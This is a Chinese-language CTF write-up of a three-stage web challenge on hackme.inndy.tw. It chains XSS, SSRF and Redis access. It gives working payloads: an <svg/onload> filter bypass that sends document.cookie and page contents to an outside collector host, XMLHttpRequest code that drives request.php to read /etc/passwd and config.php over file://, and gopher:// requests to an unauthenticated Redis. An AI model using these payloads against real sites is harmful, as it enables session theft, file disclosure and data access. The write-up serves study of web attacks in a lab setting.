原文链接:http://www.anquanke.com/post/id/156377
前言最近有空,想到曾经刷的 http://hackme.inndy.tw/scoreboard/还有一组新题没做,于是看了一下,发现是 xss->ssrf->redis的,觉得很有趣,于是做了一下,记录一下writeup
以前的web题解可以看这篇文章 http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/给出本次题目的链接 http://xssrf.hackme.inndy.tw/index.php
xssme首先是第一关,探查了一下功能,大概4项: 信息搜集上来扫了波目录 http://xssrf.hackme.inndy.tw/robots.txt发现信息泄露 User-agent: *Disallow: /config.phpDisallow: /you/cant/read/config.php/can/you?Disallow: /backup.zip下载压缩包后,发现有密码,猜想应该是要读config.php中的关键信息,才能获得压缩包密码 xss探测于是回到主题,题目名称既然叫xssme,那么应该就是xss攻击了
于是首先探测一下过滤
[/url]发现测试的时候会直接告诉我们过滤的关键字,这样就更容易探测了
既然<Script不行,那我们试试<img>
[url=http://p5.ssl.qhimg.com/t013514ab2499e00008.png] 发现同样不行,那么既然onerror不行,我再试试onload? <svg onload>发现也不行,那我再变一下 <svg/onload>发现似乎没有被过滤,于是尝试payload <svg/onload="document.location='http://vps_ip:23333'">[url=http://p2.ssl.qhimg.com/t01ddd859e8c484e789.png] 收获flagpayload如下: <svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie">[url=http://p4.ssl.qhimg.com/t013b1fd44847374a44.png] 解码后得到 PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS于是愉快的获得了第一个flag FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}并且获得提示,flag2在redis中
xssrf leak<svg/onload>构造出 <svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)进行编码 [url=http://p3.ssl.qhimg.com/dm/1024_151_/t0185a443428c41210b.png] 尝试payload 发现成功收到消息 [url=http://p3.ssl.qhimg.com/t01c8fa1527f1499dab.png] 发现多了一个send request的功能,跟过去看代码
[url=http://p5.ssl.qhimg.com/t016761eb473b221e42.png] 没错,是多了一个request.php
那么结合题目意思,应该是有ssrf,我想应该就是利用这里的request.php了吧
那么继续去读这个页面的html - <svg/onload="
- xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if (xmlhttp.readyState==4 && xmlhttp.status==200)
- {
- document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
- }
- }
- xmlhttp.open("GET","request.php",true);
- xmlhttp.send();
- ">
复制代码
同样解码后发现代码
[url=http://p2.ssl.qhimg.com/t0168b4e42e4abe37b4.png] 应该xss的点就是在这里了
于是尝试file协议读/etc/passwd - <svg/onload="
- xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if (xmlhttp.readyState==4 && xmlhttp.status==200)
- {
- document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
- }
- }
- xmlhttp.open("POST","request.php",true);
- xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
- xmlhttp.send("url=file:///etc/passwd");
- ">
复制代码
发现成功读取了/etc/passwd
那么我们回想到最初的文件 - User-agent: *
- Disallow: /config.php
- Disallow: /you/cant/read/config.php/can/you?
- Disallow: /backup.zip
复制代码
于是直接读config.php - <svg/onload="
- xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if (xmlhttp.readyState==4 && xmlhttp.status==200)
- {
- document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
- }
- }
- xmlhttp.open("POST","request.php",true);
- xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
- xmlhttp.send("url=file:///var/www/html/config.php");
- ">
复制代码
[url=http://p5.ssl.qhimg.com/t012fcc170be3005b84.png] cool,于是我们拿到了第二个flag FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}
xssrf redis只剩下最后一步打redis了
这里很容易就想到了gopher未授权访问打redis
上一题提示我们redis再25566端口,于是我们尝试访问一下 - <svg/onload="
- xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if (xmlhttp.readyState==4 && xmlhttp.status==200)
- {
- document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
- }
- }
- xmlhttp.open("POST","request.php",true);
- xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
- xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
- ">
复制代码
那么看看key有哪些 xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");[url=http://p5.ssl.qhimg.com/t01ae937cec52a5a3a2.png] 发现了flag
然后我们尝试读取 xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");发现类型错误了
那我们看看类型 xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");[url=http://p3.ssl.qhimg.com/t01c56b570a1f671daa.png]发现是个list
那我们看看长度 xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");发现是53
那我们可以愉快的读取list了 xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");[url=http://p0.ssl.qhimg.com/t016b256ff57a040832.png] 我们把它拼接起来 [url=http://p2.ssl.qhimg.com/t01584c35dc674b052a.png][/url] so cool
得到最后的flag FLAG{Rediswithout authentication is easy to exploit}
后记此题结束后,我对XSS的观点有了巨大的改变= =,实在是太强了
|